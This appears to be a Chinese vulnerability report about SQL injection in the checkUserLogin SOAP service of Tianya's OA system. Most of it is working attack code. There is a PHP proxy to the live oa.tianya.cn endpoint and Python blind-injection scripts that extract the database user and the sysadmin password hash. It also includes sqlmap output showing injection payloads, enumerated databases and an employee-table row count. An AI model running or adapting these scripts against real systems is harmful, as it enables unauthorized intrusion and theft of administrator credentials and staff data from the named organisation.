天涯社区某分在存在SQL注入漏洞（附脚本）

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"  xmlns:xsd="http://www.w3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xmlns:m0="http://tempuri.org/"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="webservices.services.weaver.com.cn" xmlns:urn2="http://workflow.webservices.mobile.weaver">
      <SOAP-ENV:Header/>
      <SOAP-ENV:Body>
         <urn:checkUserLogin>
            <urn:in0>1</urn:in0>
            <urn:in1>1</urn:in1>
            <urn:in2>1</urn:in2>
         </urn:checkUserLogin>
      </SOAP-ENV:Body>
 </SOAP-ENV:Envelope>

<?php
 $in0=$_GET['name'];
 header("content-type:text/html;charset=utf-8");
 try {
 $client = new SoapClient('http://oa.tianya.cn/services/MobileService?wsdl');
 $xml = "
 <SOAP-ENV:Envelope xmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/' xmlns:soap='http://schemas.xmlsoap.org/wsdl/soap/' xmlns:xsd='http://www.w3.org/1999/XMLSchema'  xmlns:xsi='http://www.w3.org/1999/XMLSchema-instance' xmlns:m0='http://tempuri.org/' xmlns:SOAP-ENC='http://schemas.xmlsoap.org/soap/encoding/' xmlns:urn='webservices.services.weaver.com.cn' xmlns:urn2='http://workflow.webservices.mobile.weaver'>
      <SOAP-ENV:Header/>
      <SOAP-ENV:Body>
         <urn:checkUserLogin>
            <urn:in0>1</urn:in0>
            <urn:in1>1</urn:in1>
            <urn:in2>1</urn:in2>
         </urn:checkUserLogin>
      </SOAP-ENV:Body>
 </SOAP-ENV:Envelope>
 ";
 $result=$client->checkUserLogin(array('in0'=>$in0,'in1'=>'123456','in2'=>1));
 echo $result->out ;//显示结果  
 } catch (SOAPFault $e) {
 print_r('Exception:'.$e);
 }
 ?>

#encoding=utf-8
 import httplib
 import string
 import sys
 import random
 import urllib
 headers = {'Content-Type':'application/x-www-form-urlencoded',
     'Content-Type': 'text/html;charset=UTF-8',
     'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0',
 }
 payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
 
 print 'Start to retrive user:'
 user= ''
 for i in range(1, 8):
     for payload in payloads:
          
             conn = httplib.HTTPConnection('127.0.0.1', timeout=150)
 
             conn.request(method='GET',
                          url="/ty.php?name=1'or/**/ascii(substring(user,%s,1))=%s/**/and'a'='a"% (i, ord(payload)),
 
                          headers=headers)
 
             resp = conn.getresponse()
             html_doc = resp.read()
             conn.close()
 
             print '.',    
 
             if html_doc.count('5') > 0:
 
                 user += payload
 
                 print '/n/n[in progress]', user,
 
                 break
 
 print '/n/n[Done]  user is %s' % user

payloads = '0123456789ABCDEF'
 
 print 'Start to retrive password:'
 password= ''
 for i in range(32):
     for j in payloads:
          
             conn = httplib.HTTPConnection('127.0.0.1', timeout=150)
 
             conn.request(method='GET',
                          url="/ty.php?name=sysadmin'/**/and/**/substring((select(password)/**/from/**/hrmresourcemanager/**/where/**/loginid='sysadmin'),"+str(i+1)+",1)='"+j+"'/**/and'1'='1",
 
                          headers=headers)
 
             resp = conn.getresponse()
             html_doc = resp.read()
             #print html_doc
             conn.close()
 
             print '.',    
 
             if html_doc.count('5') > 0:
 
                 password += j
 
                 print '/n/n[in progress]', password,
 
                 break

sqlmap resumed the following injection point(s) from stored session:
 ---
 Parameter: name (GET)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: name=sysadmin' AND 2387=2387 AND 'tJYN'='tJYN
 
     Type: AND/OR time-based blind
     Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
     Payload: name=sysadmin' AND 8324=(SELECT COUNT(*) FROM sysusers AS sys1,sysu
 sers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6
 ,sysusers AS sys7) AND 'YqQh'='YqQh
 ---

available databases [8]:
 [*] ecology
 [*] ecology_test
 [*] lumigens
 [*] master
 [*] model
 [*] msdb
 [*] tempdb
 [*] update_log

select count(*) from HrmResource;:    '1557'